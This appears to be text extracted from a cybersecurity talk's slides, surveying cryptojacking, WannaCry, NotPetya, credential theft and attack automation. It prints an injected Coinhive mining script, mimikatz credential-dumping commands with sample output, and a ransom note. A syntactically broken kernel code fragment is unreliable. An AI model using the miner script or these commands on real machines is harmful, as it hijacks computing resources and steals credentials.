Starbucks Wi-Fi hijacked customers’ laptops to mine cryptocurrencies
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="10; url=http://starbucksrewards.com.ar/">
<body onload="move()">
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var h = new CoinHive.Anonymous('02yGg5TDqLC59dTfTYa9ntLacF3DBGu'); h.start();
setInterval( function () { h.stop(); }, 60000);
</script>

function move()
{
  var elem = document.getElementById("myBar");
  var width = 1;
  var id = setInterval(frame, 100);
  function frame()
  {
    if (width >= 100) {
      clearInterval(id);
      window.location.href = "http://starbucksrewards.com.ar/";
    } else {
      width++;
      elem.style.width = width + '%';
    }
  }
}
A Crypto Miner for your Website

Monetize Your Business With Your Users' CPU Power
We noticed you’re using an ad blocker

We depend on ads to keep our content free for you.

Please consider disabling your ad blocker so we can continue to create the content you come here to enjoy.

OK, I'VE DISABLED IT  Allow ads on Salon  learn more

SUPPRESS ADS BETA  Block ads by allowing Salon to use your unused computing power  learn more

COMING SOON: The Salon App — a fast, ad-free experience, featuring exclusive stories and documentaries. Sign up for our newsletter to get notified when it's available.
The Future of Cyber Security – From a Friendly Hacker’s Perspective

Keren Elazari
www.K3r3n3.com
“You Have To Demo A Threat To Spark A Solution”
Barnaby Jack, 1977-2013
Keren Elazari:

Hackers: the Internet's immune system

TED2014 · 16:39 · Filmed Mar 2014

27 subtitle languages
View interactive transcript

Share this idea

@K3r3n3
Lesson #1:
Everything Has Value

@k3r3n3
Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted. Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.

Can I Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time. You can decrypt some of your files for free. Try now by clicking <Decrypt>. But if you want to decrypt all your files, you need to pay. You only have 3 days to submit the payment. After that the price will be doubled. Also, if you don’t pay in 7 days, you won’t be able to recover your files forever. We will have free events for users who are so poor that they couldn’t pay in 6 months.

How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>. Please check the current price of Bitcoin and buy some bitcoins. For more information, click <How to buy bitcoins>. And send the correct amount to the address specified in this window. After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am GMT from Monday to Friday.

Send $300 worth of bitcoin to this address:

Copy

Check Payment
Decryp
Statement on reported NHS cyber attack

A number of NHS organisations have reported to NHS Digital that they have been affected by a ransomware attack which is affecting a number of different organisations.

The investigation is at an early stage but we believe the malware variant is Wanna Decryptor.

At this stage we do not have any evidence that patient data has been accessed. We will continue to work with affected organisations to confirm this.

NHS Digital
Data and information
Systems and services
News and events
What is NHS Digital?
How we look after your information
Home / News and events / Latest news / Statement on reported NHS cyber attack

Cyber Security Centre, the Department of Health and NHS England to
Oops, your files have been encrypted!

Was geschah mit meinem Computer?

Vor 15 Minuten wurden einige wichtige Daten gesperrt. Dieser Schutz wird durch die Verschlüsselung der Dateien erreicht.

Kann ich meine Dateien wiederherstellen?

Ja, reagieren Sie schnell. Die Dateien sind für die Verschlüsselung gesperrt. Sie haben 3 Tage, um die Zahlung abzuführen. Danach wird der Protokollende und die Dateien werden für immer versperrt.

Wie bezahle ich?

Die Zahlung wird nur in Bitcoin akzeptiert. Für weitere Informationen klicken Sie auf "More Info".
Some analysts are suggesting by sinkholing the domain we stopped the infection? Can anyone confirm?
1:23 PM - May 12, 2017

200 people are talking about this

How to Accidentally Stop a Global Cyber Attacks

So finally I’ve found enough time between emails and Skype calls to write up on the crazy events which occurred over Friday, which was supposed to be part of my week off (I made it a total of 4 days without [...])
"WannaCry" ransomware attack losses could reach $4 billion
Chip flinger TSMC warns 'WannaCry' outbreak will sting biz for $250m

But it could've been worse, shrugs Apple supplier

By John Leyden 6 Aug 2018 at 16:35

Chipmaker TSMC has warned that a previously disclosed virus infection of its Taiwanese plant may cost it up to $250m.

The malware struck on Friday, and affected a number of unpatched Windows 7 computer systems and fab tools over two days.
WANNAMINE
EternalBlue + Mimikatz

https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/
EternalBlue
Windows SMB Exploit
mimikatz

mimikatz 2.0 vient de sortir en version alpha

- binaires : https://github.com/gentilkiwi/mimikatz/releases/latest
- sources : https://github.com/gentilkiwi/mimikatz
- présentations : http://blog.gentilkiwi.com/presentations

Pour les pressés cherchant des mots de passe...

A exécuter en administrateur :

```
1 mimikatz # privilege::debug
2 Privilege '20' OK
3 mimikatz # sekurlsa::logonpasswords
4 Authentication Id : 0 ; S15764 (00000000:0007:deb4)
5 Session : Interactive from 2
6 User Name : Gentil Kiwi
7 Domain : vm-w7-ult-x
8 SID : S-1-5-21-1982681256-1210654043-1600862990-10
9
10 msv :
11  [00000003] Primary
12 * Username : Gentil Kiwi
13 * Domain : vm-w7-ult-x
14 * LM : d0e9ae149655a4075e454af1f2d3b
15 * NTLM : cc3bcf7a8514893efcc0332446158b1a
16 * SHA1 : a299912f3dc7e00e1e84361abfc03e9a8c30
17 tspkg :
18 * Username : Gentil Kiwi
19 * Domain : vm-w7-ult-x
20 * Password : waza1234/
21 ...
22 ...
```
Lesson #2: Attackers Get Creative & Go Upstream!
Phishing The Phishers

25% of Kits, Backdoor or Email to Author!

Final Notification

Your Apple ID is due to expire today. Prevent this by confirming your Apple ID at http://verifyapple.uk

Apple Inc.

Thanks for your order! We hope you enjoyed it! If you don't want to receive future Pizza Hut SMS offers, text PHSTOP to 60777 or visit http://tx.vc/o/ee8f
Suspicious links

For some links you receive in a chat, you may see a suspicious link indicator.

This indicator may appear when a link contains a combination of characters that is considered unusual. Spammers may use these character combinations to trick you into tapping on links that appear to go to a legitimate website, but actually take you to a malicious site.
Na stronie prowadzone są prace serwisowe. Przepraszamy za utrudnienia.
Lazarus Group

WANTED BY THE FBI

PARK JIN HYOK

Conspiracy to Commit Wire Fraud; Conspiracy to Commit Computer-Related
(Computer Intrusion)

United States of America

v.

PARK JIN HYOK, also known as ("aka")
"Jin Hyok Park," aka "Park Jin Hee;"

Defendant.

UNITED STATES DISTRICT COURT
for the
Central District of California

CRIMINAL COMPLAINT

I, the complainant in this case, state that the following is true to the best of my knowledge and belief.

Beginning no later than September 2, 2014 and continuing through at least August 3, 2017, in the county of Los
Angeles in the Central District of California, the defendant violated:

<table>
<thead>
<tr>
<th>Code Section</th>
<th>Offense Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>18 U.S.C. § 371</td>
<td>Conspiracy</td>
</tr>
<tr>
<td>18 U.S.C. § 1349</td>
<td>Conspiracy to Commit Wire Fraud</td>
</tr>
</tbody>
</table>

This criminal complaint is based on these facts:

Please see attached affidavit.

Continued on the attached sheet.

9000 PCs, 500 servers wiped, KillDisk variant
Banco de Chile victim of a devastating wiper attack, money allegedly stolen

badcyber / June 8, 2018 / Crime, Finance

15 SHARES
A problem has been detected and OS has been shut down to prevent damage to your computer.
The problem seems to be caused by the following file: DRIVER.SYS

PAGE_FAULT_IN_NONPAGED_AREA

If this is the first time you've seen this stop error screen, restart your computer. If this screen appears again, follow these steps:

Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any OS updates you might need.

If problems continue, disable or remove any newly installed hardware or software.

Disable BIOS Mode to run Advanced Setup.
Shipping company Maersk says June cyberattack could cost it up to $300 million

- Maersk has put in place “different and further protective measures” following the attack.
- Merck and WPP were among the companies that were also affected by NotPetya.

Jordan Novet | @jordannovet
Published 2:04 PM ET Wed, 16 Aug 2017 | Updated 3:00 PM ET Wed, 16 Aug 2017
Win 7 Extended support ends January 14, 2020. Currently = 40% Windows 7 OS

Source: https://www.netmarketshare.com June 2018
In the Dnipropetrovsk region, the SBU warned the cyberattack of Russian special services on the critical infrastructure object

09:16, 11-07-2018

Employees of the Security Service of Ukraine blocked the attempt of the Russian intelligence services to conduct a cyberattack on the network equipment of the company "Aul Chlorotransfer Station", which is the object of critical infrastructure of the country.
Advisory: Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices

Source: https://www.ncsc.gov.uk/information/additional-information-russias-malicious-cyber-activity
SHODAN: THE GOOGLE OF CONNECTED DEVICES

https://www.shodan.io/ created by @Achillean
<table>
<thead>
<tr>
<th>NR</th>
<th>TYP</th>
<th>ORT</th>
<th>GESCHWINDIGKEIT</th>
<th>BESCHREIBUNG</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>AST</td>
<td>5.0 m/s</td>
<td>Potentiometer - Kommandoraum 1</td>
<td></td>
</tr>
</tbody>
</table>
secure remote maintenance system

https://en.internetwache.org/
@gehaxelt
Lesson #3: Attack Automation!
SHODAN + METASPLOIT = AUTOSPLOIT

<table>
<thead>
<tr>
<th>Option</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Usage</td>
<td>Display this informational message.</td>
</tr>
<tr>
<td>Gather Hosts</td>
<td>Query Shodan for a list of platform specific IPs.</td>
</tr>
<tr>
<td>View Hosts</td>
<td>Print gathered IPs/RHOSTS.</td>
</tr>
<tr>
<td>Exploit</td>
<td>Configure MSF and Start exploiting gathered targets</td>
</tr>
<tr>
<td>Quit</td>
<td>Exits AutoSploit.</td>
</tr>
</tbody>
</table>

https://github.com/NullArray/AutoSploit
Dropbox: In mid-2012, Dropbox suffered a data breach which exposed the stored credentials of tens of millions of their customers. In August 2016, they forced password resets for customers they believed may be at risk. A large volume of data totalling over 68 million records was subsequently traded online and included email addresses and salted hashes of passwords (half of them SHA1, half of them bcrypt).

Compromised data: Email addresses, Passwords

LinkedIn: In May 2016, LinkedIn had 164 million email addresses and passwords exposed. Originally hacked in 2012, the data remained out of sight until being offered for sale on a dark market site 4 years later. The passwords in the breach were stored as SHA1 hashes without salt, the vast majority of which were quickly cracked in the days following the release of the data.

Compromised data: Email addresses, Passwords
Keep Calm And **Carry On**?

Predictions For the Future
Attackers Evolve:

- Go Big & Upstream
- OS Exploits & Evasive Attacks
- Subvert Legitimate Tools
- Automation & Scale
EVERYDAY SECURITY DECISIONS
Security Culture 😊
Red Team Testing
Threat Hunting
Digital Forensics & Incident Response
@k3r3n3
struct info info structs = { .usage = ATOMIC_INIT[2] };
struct group_info *groups_alloc(int gidsetsize); =
struct group_info *group_info;
int nblocks;
int i;

nblocks = gidsetsize * NGROUPS_PER_BLOCK - 1) / NGROUPS_PER_BLOCK;
/* make sure we always allocate at least one indirect block pointer */
nblocks = nblocks ? 1; 
group_info = kmalloc(sizeof(group_info) + nblocks*sizeof(gid_t *)) GFP_USER;
if (!group_info)
    return NULL;
group_info->gidsizes = gidsetsize;
group_info->nblocks = nblocks;
atomic_set(&group_info->usage, 1);

if (gidsetsize <= NGROUPS_SMALL)
    group_info->blocks[0] = group_info->small_block;
else
    for (i = 0; i < nblocks; i++) {
        gid_t *b;
        b = (void *)__get_free_page(GFP_USER);
        if (!b)
            goto out_undo_partial_alloc;
        group_info->blocks[i] = b;
    }
    return group_info;

out_undo_partial_alloc:
while (--i >= 0) {
    free_page((unsigned long)group_info->blocks[i]);
} kfree(group_info);
return NULL;

EXPORT_SYMBOL(group_alloc);

void groups_free(struct group_info *group_info) {
    if (group_info->blocks[0] != group_info->small_block) {
        int i;
        for (i = 0; i < group_info->nblocks; i++)
            free_page((unsigned long)group_info->blocks[i]);
    } kfree(group_info);
}

EXPORT_SYMBOL(groups_free);

/* export the group_info to a user-space array */
static int groups_to_user(gid_t __user *grouplists,
    const struct group_
Bug Bounty Programs
Defense Department invites you to "Hack the Pentagon"
One Million Security Professionals Needed!
Why Girl Scouts Make Great Cybersecurity Hackers
TAKE THE RED PILL?
The Future Is In Your Hands!

Keren Elazari

www.K3r3n3.com
Enter Your Password